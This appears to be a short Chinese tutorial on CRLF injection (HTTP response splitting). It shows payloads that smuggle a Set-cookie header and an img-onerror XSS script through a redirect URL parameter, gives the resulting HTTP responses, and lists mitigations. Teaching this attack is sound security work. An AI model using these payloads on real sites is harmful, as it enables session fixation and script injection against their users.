一、概念
回车换行(CRLF)注入攻击,又称HTTP头部返回拆分攻击,是一种当用户将CRLF字符插入到应用中而触发漏洞的攻击技巧。原理是服务器未过滤攻击者输入的数据,而直接放到头部,导致攻击者通过注入\n\r(%0d%0a)能够控制HTTP返回头部。CRLF字符(%0d%0a)在许多互联网协议中表示行的结束,包括HTML,该字符解码后即为\ r\ n。这些字符可以被用来表示换行符,并且当该字符与HTTP协议请求和响应的头部一起联用时就有可能会出现各种各样的漏洞,从而造成XSS注入攻击、Web缓存中毒、会话固定漏洞、302跳转攻击等攻击。。
二、测试案例
一般网站会在HTTP头中用Location: http://xxx.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
比如一个网站接受url参数http://xxx.com/?url=xxx,xxx放在Location后面作为一个跳转。
1、会话固定漏洞
如果我们输入的是http://xxx.com%0aSet-cookie:JSPSESSID%3Dwooyun,注入了一个换行,此时的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION,造成一个“会话固定漏洞”。
2、反射型XSS
如果我们输入的是:http://xxx.com/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样:
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
三、解决方法
1、不要把用户的输入直接输出。
2、过滤用户输入的\r\n。
3、可以使用urlencode,对输出的文件名做url编码。